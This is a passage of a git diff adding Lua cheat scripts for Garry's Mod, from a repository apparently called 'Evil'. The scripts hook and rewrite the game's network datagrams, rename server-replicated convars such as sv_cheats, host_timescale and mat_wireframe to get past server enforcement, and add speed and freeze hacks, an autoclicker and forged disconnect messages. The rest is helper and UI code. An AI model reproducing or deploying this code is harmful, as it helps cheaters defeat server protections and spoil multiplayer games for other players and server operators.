msgtype, bits ) + end + }, + + [ svc_EntityMessage ] = { -- 24 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_EntityMessage, NET_MESSAGE_BITS ) + + local entity = read:ReadUBitLong( 11 ) + write:WriteUBitLong( entity, 11 ) + + local class = read:ReadUBitLong( 9 ) + write:WriteUBitLong( class, 9 ) + + local bits = read:ReadUBitLong( 11 ) + write:WriteUBitLong( bits, 11 ) + + local data = read:ReadBits( bits ) + write:WriteBits( data, bits ) + data:Delete() + + debugprint( "svc_EntityMessage", entity, class, bits ) + end + }, + + [ svc_GameEvent ] = { -- 25 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_GameEvent, NET_MESSAGE_BITS ) + + local bits = read:ReadUBitLong( 11 ) + write:WriteUBitLong( bits, 11 ) + + local data = read:ReadBits( bits ) + write:WriteBits( data, bits ) + data:Delete() + + debugprint( "svc_GameEvent", bits ) + end + }, + + [ svc_PacketEntities ] = { -- 26 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_PacketEntities, NET_MESSAGE_BITS ) + + local max = read:ReadUBitLong( 11 ) + write:WriteUBitLong( max, 11 ) + + local unk2 = read:ReadOneBit() + write:WriteOneBit( unk2 ) + + local delta = 0 + + if ( unk2 == 1 ) then + delta = read:ReadLong() + write:WriteLong( delta ) + end + + local unk4 = read:ReadUBitLong( 1 ) + write:WriteUBitLong( unk4, 1 ) + + local changed = read:ReadUBitLong( 11 ) + write:WriteUBitLong( changed, 11 ) + + local bits = read:ReadUBitLong( 20 ) + write:WriteUBitLong( bits, 20 ) + + local unk7 = read:ReadOneBit() + write:WriteOneBit( unk7 ) + + local unk8 = read:ReadBits( bits ) + write:WriteBits( unk8, bits ) + unk8:Delete() + + debugprint( "svc_PacketEntities", max, unk2, delta, unk4, changed, bits, unk7 ) + end + }, + + [ svc_TempEntities ] = { -- 27 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_TempEntities, NET_MESSAGE_BITS ) + + local num = read:ReadUBitLong( 8 ) -- 10h + write:WriteUBitLong( num, 8 ) + + local bits = read:ReadUBitLong( 17 ) -- 14h + write:WriteUBitLong( bits, 17 ) + + local data = read:ReadBits( bits ) + write:WriteBits( data, bits ) + data:Delete() + + debugprint( "svc_TempEntities", num, bits, data ) + end + }, + + [ svc_Prefetch ] = { -- 28 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_Prefetch, NET_MESSAGE_BITS ) + + local index = read:ReadUBitLong( 13 ) + write:WriteUBitLong( index, 13 ) + + debugprint( "svc_Prefetch", index ) + end + }, + + [ svc_Menu ] = { -- 29 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_Menu, NET_MESSAGE_BITS ) + + local menutype = read:ReadShort() + write:WriteShort( menutype ) + + local bytes = read:ReadWord() + write:WriteWord( bytes ) + + local data = read:ReadBytes( bytes ) + write:WriteBytes( data, bytes ) + data:Delete() + + debugprint( "svc_Menu", menutype, bytes ) + end + }, + + [ svc_GameEventList ] = { -- 30 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_GameEventList, NET_MESSAGE_BITS ) + + local num = read:ReadUBitLong( 9 ) + write:WriteUBitLong( num, 9 ) + + local bits = read:ReadUBitLong( 20 ) + write:WriteUBitLong( bits, 20 ) + + local data = read:ReadBits( bits ) + write:WriteBits( data, bits ) + data:Delete() + + debugprint( "svc_GameEventList", num, bits ) + end + }, + + [ svc_GetCvarValue ] = { -- 31 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_GetCvarValue, NET_MESSAGE_BITS ) + + local cookie = read:ReadSBitLong( 32 ) + write:WriteSBitLong( cookie, 32 ) + + local cvarname = read:ReadString() + write:WriteString( cvarname ) + + debugprint( "svc_GetCvarValue", cvarname ) + end + }, + + [ svc_CmdKeyValues ] = { -- 32 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_CmdKeyValues, NET_MESSAGE_BITS ) + + local length = read:ReadLong() + write:WriteLong( length ) + + local keyvalues = read:ReadBits( length * 8 ) + write:WriteBits( keyvalues, length * 8 ) + keyvalues:Delete() + + debugprint( "svc_CmdKeyValues", length ) + end + }, + } +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/SN3/sn3_base_outgoing.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/SN3/sn3_base_outgoing.lua new file mode 100644 index 0000000..22906d0 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/SN3/sn3_base_outgoing.lua @@ -0,0 +1,77 @@ + + + include( "custom_menu/SN3/sn3_base_cl.lua" ) + + + +include( "custom_menu/SN3/sn3_base_netmessages.lua" ) + +-- Initialization + +HookNetChannel( + { name = "CNetChan::SendDatagram" } +) + +hook.Add( "PreSendDatagram", "OutFilter", function( netchan, ... ) + local buffers = { ... } + + for k, write in pairs( buffers ) do + local totalbits = write:GetNumBitsWritten() + local read = sn3_bf_read( write:GetBasePointer(), totalbits ) + + write:Seek( 0 ) + + while ( read:GetNumBitsLeft() >= NET_MESSAGE_BITS ) do + local msg = read:ReadUBitLong( NET_MESSAGE_BITS ) + local handler = NET_MESSAGES[ msg ] + + if ( !handler ) then + if ( CLIENT ) then + handler = NET_MESSAGES.CLC[ msg ] + else + handler = NET_MESSAGES.SVC[ msg ] + end + + if ( !handler ) then + Msg( "Unknown outgoing message: " .. msg .. "\n" ) + + write:Seek( totalbits ) + + break + end + end + + local func = handler.OutgoingCopy or handler.DefaultCopy + + if ( func( netchan, read, write ) == false ) then + Msg( "Failed to filter message " .. msg .. "\n" ) + + write:Seek( totalbits ) + + break + end + end + + read:FinishReading() + end +end ) + +function FilterOutgoingMessage( msg, func ) + local handler = NET_MESSAGES[ msg ] + + if ( !handler ) then + if ( CLIENT ) then + handler = NET_MESSAGES.CLC[ msg ] + else + handler = NET_MESSAGES.SVC[ msg ] + end + end + + if ( !handler ) then return end + + handler.OutgoingCopy = func +end + +function UnFilterOutgoingMessage( msg ) + FilterOutgoingMessage( msg, nil ) +end \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_B_PlyMeta.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_B_PlyMeta.lua new file mode 100644 index 0000000..e4acf7a --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_B_PlyMeta.lua @@ -0,0 +1,209 @@ +player = {} + +function player.GetAll() + local AllPlayers = {} + for k,v in ipairs( client.GetAllPlayers() ) do + table.insert( AllPlayers, Player( client.GetPlayerIndex( v ) ) ) + end + return AllPlayers +end + +function player.GetHumans() + local AllHumans = {} + for k,v in ipairs( client.GetAllPlayers() ) do + if !client.IsFakePlayer( v ) then + table.insert( AllHumans, Player( client.GetPlayerIndex( v ) ) ) + end + end + return AllHumans +end + +function player.GetBots() + local AllBots = {} + for k,v in ipairs( client.GetAllPlayers() ) do + if client.IsFakePlayer( v ) then + table.insert( AllBots, Player( client.GetPlayerIndex( v ) ) ) + end + end + return AllBots +end + +function player.GetByUserID( uid ) + for k,v in ipairs( client.GetAllPlayers() ) do + if v == uid then + return Player( client.GetPlayerIndex( uid ) ) + end + end + return nil +end + +function player.GetByEntIndex( entindex ) + for k,v in ipairs( client.GetAllPlayers() ) do + if client.GetPlayerIndex( v ) == entindex then + return Player( entindex ) + end + end + return nil +end + +function player.GetEntIndexFromUserID( uid ) + return client.GetPlayerIndex( uid ) +end + +function player.GetUserIDFromEntIndex( entindex ) + for k,v in ipairs( client.GetAllPlayers() ) do + if client.GetPlayerIndex( v ) == entindex then + return v + end + end + return nil +end + +function LocalPlayer() + return player.GetByUserID( client.LocalPlayerUserID() ) or nil +end + +Player = {} +Player.__index = Player +if !_R.Player then + _R.Player = Player -- Allows FindMetaTable to work :O +end + +setmetatable( Player, { + __call = function( self, entindex ) + return setmetatable( { userid = player.GetUserIDFromEntIndex( entindex ), entindex = entindex }, Player ) + end +} ) + +function Player:__tostring() + return "Player [" .. self:EntIndex() .. "][" .. self:GetName() .. "]" +end + +function Player:__eq( ply ) + return self.userid == ply.userid +end + +function Player:IsValid() + for k,v in ipairs( player.GetAll() ) do + if self == v then + return true + end + end + return false +end + +function Player:IsPlayer() + return true +end + +function Player:IsNPC() + return false +end + +function Player:UserID() + return self.userid +end + +function Player:EntIndex() + return self.entindex +end + +function Player:Alive() + return client.IsPlayerAlive( self.entindex ) +end + +--[[function Player:Ping() + return client.GetPlayerPing( self.entindex ) +end + +function Player:Frags() + return client.GetPlayerFrags( self.entindex ) +end + +function Player:Deaths() + return client.GetPlayerDeaths( self.entindex ) +end +]] + +function Player:IsMuted() + return client.IsPlayerMuted( self.entindex ) +end + +--[[ +function Player:Team() + return client.GetPlayerTeam( self.entindex ) +end +]] + +function Player:Health() + return client.GetPlayerHealth( self.entindex ) +end + +function Player:SetMuted( mute ) + return client.SetPlayerMuted( self.entindex, mute ) +end + +function Player:IsBot() + return client.IsFakePlayer( self.userid ) +end + +function Player:GetSprayMaterialPath() + return client.GetPlayerLogo( self.userid ) +end + +function Player:GetName() + return client.GetPlayerName( self.userid ) +end + +function Player:Nick() + return self:GetName() +end + +function Player:Name() + return self:GetName() +end + +function Player:GetClass() + return "player" +end + +function Player:SteamID() + local SteamID = client.GetPlayerSteamID( self.userid ) + if self:IsBot() then + return "BOT" + elseif SteamID == "STEAM_0:0:0" then -- The client doesn't actually know it yet, so we return the pending id + return "STEAM_ID_PENDING" + else + return SteamID + end +end + +function Player:CommunityID() + local FriendID = client.GetFriendID( self.userid ) -- The players friend ID number + local AuthNum = FriendID / 2 % 2 == 1 and 1 or 0 -- The auth server they use + return string.format( "765%0.f", FriendID + 61197960265728 + AuthNum ) +end + +function Player:FriendID() + return client.GetFriendID( self.userid ) +end + +Player.__type = "Entity" + +local oldtype = type + +function type( ob ) + local meta = getmetatable( ob ) + if oldtype( meta ) == "table" then + local __type = rawget( meta, "__type" ) + if !__type then + return oldtype( ob ) + elseif __type == "function" then + return __type( ob ) + else + return __type + end + else + return oldtype( ob ) + end +end \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_B_Util.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_B_Util.lua new file mode 100644 index 0000000..279341e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_B_Util.lua @@ -0,0 +1,56 @@ + + +function HeXLRCL(str) + --print("cmd >>"..str.."<<") + console.Command(str) +end + + +local GameStarted = nil +local GameEnded = nil +local function IsInGame() + local Game = client.IsInGame() + + if Game then + if not GameStarted then + GameStarted = true + GameEnded = false + hook.Call("StartGame", nil, nil) + end + else + if not GameEnded then + GameEnded = true + GameStarted = false + hook.Call("EndGame", nil, nil) + end + end +end +timer.Create("IsInGame", 1, 0, IsInGame) + + +local ConsoleOpen = nil +local ConsoleClosed = nil +local function IsConsoleOpen() + local Open = console.IsVisible() + + if Open then + if not ConsoleOpen then + ConsoleOpen = true + ConsoleClosed = false + hook.Call("ConsoleOpen", nil, nil) + end + else + if not ConsoleClosed then + ConsoleClosed = true + ConsoleOpen = false + hook.Call("ConsoleClosed", nil, nil) + end + end +end +timer.Create("IsConsoleOpen", 0.5, 0, IsConsoleOpen) + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Disconnect2.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Disconnect2.lua new file mode 100644 index 0000000..0396b35 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Disconnect2.lua @@ -0,0 +1,108 @@ + + +if not replicator then + require("replicator") +end +if not replicator then + COLCON(RED, "Disconnect2", WHITE, ": Error 404, replicator not found!") + return +end + + +local QuitTAB = { + "With their pushin' and the poppin' and the hippin' and the hoppin' so they don't know what the stack is all about!", + "Muddy Menu-driven Micromanagement motherfuckery!", + "The only things we can't do are burn em, blow em up, or lose em", + "A good attempt at something impossible", + "Their world is in flames and we're giving them gasoline!", + "Accidentally the whole disconnect", + "Failure is always an option", + "Please excuse me while I pickup all these bricks i just shat", + "Base based base items", + "RIGHT IN THE CORN, YEAH", + "55-Gallon Drumroll, Please!", + "WITHOUT GASOLINE SAUSAGE", + "Way to blow the door of the hinges!", + "If they don't like it they can suck on my Care Package", + "Negative nonexistence feedback loop", + "Whoops, I meant panties", + "Whoops, I meant panties", + "Whoops, I meant panties", + "Whoops, I meant panties", +} + + + +local function IsOnline() + local Addr = client.GetIP() + return client.IsConnected() and (Addr != "0.0.0.0" or Addr != "loopback") +end + +local function SetupCVars() + if D2_SetupCVars then return end + D2_SetupCVars = true + + replicator.GetConCommand("disconnect"):SetName("disconnect_2") + + concommand.Add("disconnect", function(ply,cmd,args) + HeXQuit() + + timer.Simple(1, function() + if IsOnline() then --Didn't work + RunConsoleCommand("disconnect_2") + end + end) + end) +end +timer.Simple(1, SetupCVars) + + + + +function DisconnectWithMessage(what) + if not IsOnline() then return end --Menu/Singleplayer + + if not package.loaded.sourcenet3 then + require("sourcenet3") --Load here, less chance of crashing! + end + if not package.loaded.sourcenet3 then + COLCON(RED, "Disconnect2", WHITE, ": Error 404, sourcenet3 not found!") + return + end + + local chan = CNetChan() + if not chan then return end + local buff = chan:GetReliableBuffer() + buff:WriteUBitLong(net_Disconnect, 6) + buff:WriteString(what) + CNetChan():Transmit() + + COLCON(CMIColor, "Disconnect: ", RED, what) +end + + +function HeXQuit(ply,cmd,args) + local NewMsg = table.Random(QuitTAB) + + if (args and #args > 0) then + NewMsg = table.concat(args," ") + end + + DisconnectWithMessage(NewMsg) +end +--concommand.Add("hex_quit", HeXQuit) + + + + + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_DownloadFilter.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_DownloadFilter.lua new file mode 100644 index 0000000..6c6022e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_DownloadFilter.lua @@ -0,0 +1,237 @@ + +require("downloadfilter") +--[[ +local fuckyou = { + "weapon", + "mw3", +} + +hook.Add("ShouldDownload", "DownloadFilter", function(filename) + local ext = string.GetExtensionFromFilename(filename) + + for k,v in pairs(fuckyou) do + if filename:lower():find(v) then + return false + end + end + + if ((ext != "bsp") && (ext != "dua")) then + return false + end +end) + +if hook then return end +]] + +local AvailableFilters = { --Add more filters here + ["Datapack"] = {"dua"}, + ["Map Files"] = {"bsp", "ain", "nav", "res"}, + ["Sound Files"] = {"wav", "ogg", "mp3"}, + ["Model Files"] = {"mdl", "phy", "vtx", "vvd", "dx90.vtx", "dx80.vtx", "sw.vtx"}, + ["Texture Files"] = {"vtf", "vmt"}, + ["Text Files"] = {"txt", "ini", "cfg"}, + ["Particle Files"] = {"pcf"}, + ["Crap"] = {"vcs", "ani", "jpg", "psd", "db"}, +} + +local ActiveFilters = {} + +for _,types in pairs( AvailableFilters ) do + for _,filetype in pairs( types ) do + ActiveFilters[ filetype ] = true -- Default all settings to be enabled + end +end + +if file.Exists( "downloadfilter/filters.txt" ) then + for filetype,val in pairs( glon.decode( file.Read( "downloadfilter/filters.txt" ) ) ) do + ActiveFilters[ filetype ] = val -- Load our saved settings + end +end + +local function IsCategoryFullyChecked( cat ) -- Is everything in a category checked + local num = 0 + for _,filetype in pairs( AvailableFilters[ cat ] ) do + if ActiveFilters[ filetype ] then + num = num + 1 + end + end + return num >= #AvailableFilters[ cat ] +end + + +concommand.Add("downloadfilter_dump", function() + PrintTable( ActiveFilters ) +end) + + + +local function CreateCollapsibleCategory( cat, rownum ) -- Making a custom vgui element derived from the CollapsibleCategory failed.. :\ + local CollapsibleCategory = vgui.Create( "DCollapsibleCategory" ) + CollapsibleCategory:SetHeight( 32 ) + CollapsibleCategory:SetLabel( cat ) + CollapsibleCategory:SetExpanded( tobool( cookie.GetNumber( "DLFilter:"..cat ) ) ) -- Load cookies + + CollapsibleCategory.OriginalLayout = CollapsibleCategory.PerformLayout + CollapsibleCategory.OriginalToggle = CollapsibleCategory.Toggle + + CollapsibleCategory.DrawColor = Color( 185, 185, 185, 255 ) + + CollapsibleCategory.alt = math.fmod( rownum, 2 ) == 1 + + function CollapsibleCategory:Paint() + draw.RoundedBox( 4, 0, 0, self:GetWide(), self:GetTall(), self.DrawColor ) + end + + function CollapsibleCategory:Toggle() -- Hook into the toggle call, use to save cookies :D + self:OriginalToggle() + cookie.Set( "DLFilter:"..cat, ( self:GetExpanded() and 1 or 0 ) ) + end + + local CategoryList = vgui.Create( "DPanelList", CollapsibleCategory ) + CategoryList:SetAutoSize( true ) + CategoryList:SetSpacing( 5 ) + CategoryList:EnableHorizontal( false ) + CategoryList:EnableVerticalScrollbar( true ) + + CollapsibleCategory:SetContents( CategoryList ) + + CollapsibleCategory.CheckBoxes = {} + + CollapsibleCategory.MainCheckBox = vgui.Create( "DCheckBox", CollapsibleCategory ) + CollapsibleCategory.MainCheckBox:SetPos( 0, 4 ) + CollapsibleCategory.MainCheckBox:SetSize( 16, 16 ) + CollapsibleCategory.MainCheckBox:SetValue( IsCategoryFullyChecked( cat ) ) + + function CollapsibleCategory:UpdateColor() + if ( !IsCategoryFullyChecked( cat ) ) then + self.DrawColor = Color( 80, 80, 80, 255 ) + elseif ( self.alt ) then + self.DrawColor = Color( 103, 103, 103, 255 ) + else + self.DrawColor = Color( 125, 125, 125, 255 ) + end + end + + function CollapsibleCategory.MainCheckBox:OnChange( val ) + if !self.IgnoreChange then + for _,checkbox in pairs( CollapsibleCategory.CheckBoxes ) do + checkbox:SetValue( val ) + end + CollapsibleCategory:UpdateColor() + end + end + + function CollapsibleCategory:AddCheckBox( chktxt, val ) + local CheckBox = vgui.Create( "DCheckBoxLabel", CategoryList ) + CheckBox:SetText( chktxt ) + CheckBox:SetValue( val ) + CheckBox:SizeToContents() + function CheckBox:OnChange( val ) + ActiveFilters[ chktxt ] = val + file.Write( "downloadfilter/filters.txt", glon.encode( ActiveFilters ) ) + CollapsibleCategory.MainCheckBox.IgnoreChange = true + CollapsibleCategory.MainCheckBox:SetValue( IsCategoryFullyChecked( cat ) ) + CollapsibleCategory.MainCheckBox.IgnoreChange = nil + CollapsibleCategory:UpdateColor() + end + CategoryList:AddItem( CheckBox ) + self.CheckBoxes[ chktxt ] = CheckBox + end + + function CollapsibleCategory:PerformLayout() + self:OriginalLayout() + self.MainCheckBox:AlignRight( 4 ) + end + + CollapsibleCategory:UpdateColor() + + return CollapsibleCategory +end + +local PANEL = {} + +function PANEL:Init() + self:EnableVerticalScrollbar() + self:SetPadding( 7 ) + self:SetSpacing( 2 ) + self:DockMargin( 1, 1, 1, 1 ) + + local label = Label( "Check an extension to allow these file types", self ) + label:Dock( BOTTOM ) + label:SetContentAlignment( 5 ) + label:SetColor( Color( 125, 125, 125, 255 ) ) + local savedval = true + local rownum = 0 + for category, types in pairs( AvailableFilters ) do + local row = CreateCollapsibleCategory( category, rownum ) + for _, filetype in pairs( types ) do + row:AddCheckBox( filetype, ActiveFilters[ filetype ] ) + end + self:AddItem( row ) + rownum = rownum + 1 + end + + self:Dock( FILL ) +end + +local pnlDFilter = vgui.RegisterTable( PANEL, "DPanelList" ) + +function debug.getupvalues( f ) + local t, i, k, v = {}, 1, debug.getupvalue( f, 1 ) + while k do + t[k] = v + i = i+1 + k,v = debug.getupvalue( f, i ) + end + return t +end + +local ExtensionsCMD = debug.getupvalues( concommand.Run ).CommandList["menu_extensions"] +local extensionspanel = nil + +if ExtensionsCMD and type( ExtensionsCMD ) == "function" then + ExtensionsCMD() + extensionspanel = debug.getupvalues( ExtensionsCMD ).Extensions +end + +if IsValid( extensionspanel ) then -- Failsafe incase garry ever removes the extensions menu + local DownloadFilter = vgui.CreateFromTable( pnlDFilter ) + -- HACK RIGHT INTO THAT BITCH + extensionspanel.PropertySheet:AddSheet( Localize( "Download Filter" ), DownloadFilter, "gui/silkicons/page" ) + extensionspanel:PerformLayout() + extensionspanel:SetVisible( false ) +else + -- Made just for you garry. + Derma_Message( "WARNING: Unable to get extensions panel.\nThis may have been caused by an update that removed this functionality.\nPlease check for updates for mod ( \"Advanced Download Filter\" )", "ERROR: No extensions" ) +end + +hook.Add( "ShouldDownload", "DownloadFilter", function( filename ) + filename = filename or "gone" + + local ext = string.GetExtensionFromFilename( filename:gsub(".bz2", "") ) + ext = ext:lower() + + COLCON(Color( 255, 174, 201 ), "DownloadFilter", Color( 255, 255, 255 ), ": ("..ext..") "..filename) + + if ActiveFilters[ ext ] != nil and ActiveFilters[ ext ] == false then -- Shouldnt ever be nil + COLCON(Color( 255, 174, 201 ), "DownloadFilter BLOCK", Color( 255, 0, 0 ), ": ("..ext..") "..filename) + + return false -- Block the download + + elseif ActiveFilters[ ext ] == nil or ActiveFilters[ ext ] == true then + return true -- If the filter for a file doesn't exist or if we are allowing it, download + end + +end ) + + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Find.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Find.lua new file mode 100644 index 0000000..48147d3 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Find.lua @@ -0,0 +1,136 @@ + + + +local function FindInEnvironment(env,str) + local tbl = {} + --if str == "" then return tbl end + local len = string.len(str) + for k, v in pairs(env) do + if string.Left(k,len) == str then + local str = k + if type(v) == "function" then + str = str.."(" + end + table.insert(tbl,str) + end + end + return tbl +end + +local function ParseRunToAutoComplete(str) + if string.len(str) > 1 and string.Right(str,1) != "(" then + local fstr = string.TrimLeft(str) + for k, v in pairs({"=","%("}) do + fstr = string.gsub(fstr,v," ") + end + local tbl = string.Explode(" ",fstr) + local lastStr = string.Trim(table.remove(tbl)) + local match + if lastStr == "" then + return {} + elseif lastStr != "." and string.find(string.reverse(lastStr),"%.") != nil then + local tblS + local lastn = 1 + while true do + local n = string.find(lastStr,"%.",lastn) + if n == nil then break end + if tblS then + tblS = tblS[string.sub(lastStr,lastn,n-1)] + if not tblS then + tblS = {} + lastn = string.len(lastStr) + break + end + else + tblS = _G[string.sub(lastStr,lastn,n-1)] + end + lastn = n+1 + end + match = FindInEnvironment(tblS or {},string.sub(lastStr,lastn)) + local lastStr = string.sub(lastStr,1,string.len(lastStr) - (string.find(string.reverse(lastStr),"%.")-1)) + for k, v in pairs(match) do + match[k] = lastStr..v + end + else + match = FindInEnvironment(_G,lastStr) + end + if table.getn(match) != 0 then + local firstStr = string.sub(str,1,string.len(table.concat(tbl," "))+1) --just added trimleft thingy, test to do + for k, v in pairs(match) do + match[k] = "lua_run_menu"..firstStr..v + end + table.insert(match,"") + return match + end + end + return {} +end + + + +local LastArgs = "" +local function LuaRunAutoComplete(strCmd,strArgs) + LastArgs = strArgs + return ParseRunToAutoComplete(strArgs) +end + +local function LuaRunMenu(ply,cmd,args) + local str = "" + if string.len(LastArgs) > 1 then + str = string.sub(LastArgs,2) --Get rid of the space at the beginning + else + str = table.concat(tblArgs," ") + end + + RunString(str) +end +concommand.Add("lua_run_menu", LuaRunMenu, LuaRunAutoComplete) + +local BadStr = { + ["_R"] = true, + ["_E"] = true, + ["_G"] = true, + ["_M"] = true, + ["_LOADED"] = true, + ["__index"] = true, +} + +local function FindInTable(tab,what,parents,depth) + depth = depth or 0 + parents = parents or "" + + if (depth > 3) then return end + depth = depth + 1 + + for k,v in pairs(tab) do + if type(k) == "string" then + local vtype = type(v) + + if (k and k:lower():find( what:lower() ) ) then + print("\t", parents, k, " - (", vtype, " - ", v, ")") + end + + if (vtype == "table" and not BadStr[k]) then + + FindInTable(v, what, parents..k..".", depth) + end + end + end +end + + +local function Find(ply,cmd,args) + if not args[1] then return end + local What = args[1] + print("Finding '"..What.."' CLIENTSIDE:\n") + + FindInTable(_G, What) + FindInTable(_R, What) + + print("\n") +end +concommand.Add("lua_find_ml",Find) + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_AutoClicker.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_AutoClicker.lua new file mode 100644 index 0000000..b964d24 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_AutoClicker.lua @@ -0,0 +1 @@ + local function ResetClickStuff() timer.Simple(0, function() timer.Destroy("hex_autoclicker") end) end hook.Add("OnDisconnectFromServer", "ResetClickStuff", ResetClickStuff) local Delay = CreateClientConVar("hex_autoclicker_clicks", 0.02, true, false) local Toggle = false local function HeXAutoClicker(ply,cmd,args) if Toggle then Toggle = !Toggle timer.Destroy("hex_autoclicker") RunConsoleCommand("+attack") timer.Simple(0.01, function() RunConsoleCommand("-attack") end) else Toggle = !Toggle timer.Create("hex_autoclicker", Delay:GetFloat(), 0, function() PressTheMouse() end) end end concommand.Add("hex_autoclicker", HeXAutoClicker) local bool = false function PressTheMouse() --FIXME if not bool then bool = true else bool = false end local pre = { [true] = "+", [false] = "-" } RunConsoleCommand(pre[bool].."attack") end \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_DeReplicate2.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_DeReplicate2.lua new file mode 100644 index 0000000..5d627a3 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_DeReplicate2.lua @@ -0,0 +1,112 @@ + + +if not replicator then + require("replicator") +end +if not replicator then + COLCON(RED, "Replicator2", WHITE, ": Error 404, replicator not found!") + return +end + + + +CVar_Prefix = "hex_" + +local AlwaysBypass = { + --moved +} + +local NowBypass = { + "vcollide_wireframe", + "fog_override", + "showtriggers", + "snd_show", + + "sv_cheats", + "host_timescale", + "host_framerate", + + "r_drawparticles", + "r_drawothermodels", + "mat_fullbright", + "mat_wireframe", +} + + + + +function RenameCVar(OldName) + local NewName = CVar_Prefix..OldName + + if ( ConVarExists(OldName) and not ConVarExists(NewName) ) then + local Old = GetConVar(OldName) + + local Default = Old:GetDefault() + local Flags = Old:GetFlags() + local Help = Old:GetHelpText() or false + local Value = Old:GetString() + + Old:SetName(NewName) + Old:SetFlags(FCVAR_NONE) + + local New = nil + if Help then + New = CreateConVar(OldName, Default, Flags, Help) + else + New = CreateConVar(OldName, Default, Flags) + end + + New:SetValue(Value) + end + + return OldName, NewName +end + + + +local function MsgDeReplicate(cvar,newname) + COLCON(RED, "Replicator: ", BROWN, cvar, WHITE, " -> ", GREEN, newname) +end + +local function ManualDeReplicate(ply,cmd,args) + if (#args > 0) then + local name = args[1] + + MsgDeReplicate( RenameCVar(name) ) --So easy! + return + end + + if ReplicatorDone then + COLCON(RED, "Replicator", WHITE, ": Already used ManualDeReplicate!") + return + end + ReplicatorDone = true + + local Total = 0 + for k,v in pairs(NowBypass) do + Total = Total + 1 + MsgDeReplicate( RenameCVar(v) ) + end + + COLCON(RED, "Replicator", WHITE, ": Renamed ", GREEN, "["..Total.."]", WHITE, " more CVars\n") +end +concommand.Add("hex_dereplicate", ManualDeReplicate) + + +local function AlwaysDeReplicate() + local Total = 0 + + for k,v in pairs(AlwaysBypass) do + Total = Total + 1 + MsgDeReplicate( RenameCVar(v) ) + end + + if (Total > 0) then + COLCON(RED, "Replicator:", WHITE, " Renamed ", GREEN, "["..Total.."]", WHITE, " CVars\n") + end +end +timer.Simple(0, AlwaysDeReplicate) + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_Fun.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_Fun.lua new file mode 100644 index 0000000..7e21bd7 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_Fun.lua @@ -0,0 +1,59 @@ + + +local function GetVar(cvar) + if replicator and ReplicatorDone then + cvar = CVar_Prefix..cvar + end + return cvar +end + +local function CheckSVC() + return GetConVar( GetVar("sv_cheats") ):GetBool() +end + + + +local Speed = CreateClientConVar("hex_speedint", 4, true, false) +local SpeedEnabled = false + +local function HeXSpeedHack(ply,cmd,args) + if not CheckSVC() then + print("Enable sv_cheats to use this command!") + return + end + + if SpeedEnabled then + SpeedEnabled = !SpeedEnabled + + HeXLRCL( GetVar("host_timescale").." "..Speed:GetInt() ) + else + SpeedEnabled = !SpeedEnabled + + HeXLRCL( GetVar("host_timescale").." 1.0" ) + end +end +concommand.Add("hex_speedhack", HeXSpeedHack) + + +local Freeze = CreateClientConVar("hex_freezeint", 1500, true, false) +local FreezeEnabled = false + +local function HeXFreezeHack(ply,cmd,args) + if not CheckSVC() then + print("Enable sv_cheats to use this command!") + return + end + + if FreezeEnabled then + HeXLRCL( GetVar("host_framerate").." "..Freeze:GetInt() ) + FreezeEnabled = !FreezeEnabled + else + FreezeEnabled = !FreezeEnabled + HeXLRCL( GetVar("host_framerate").." 0" ) + end +end +concommand.Add("hex_freeze", HeXFreezeHack) + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_OhDear.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_H_OhDear.lua new file mode 100644 index 0000000..ac12de9 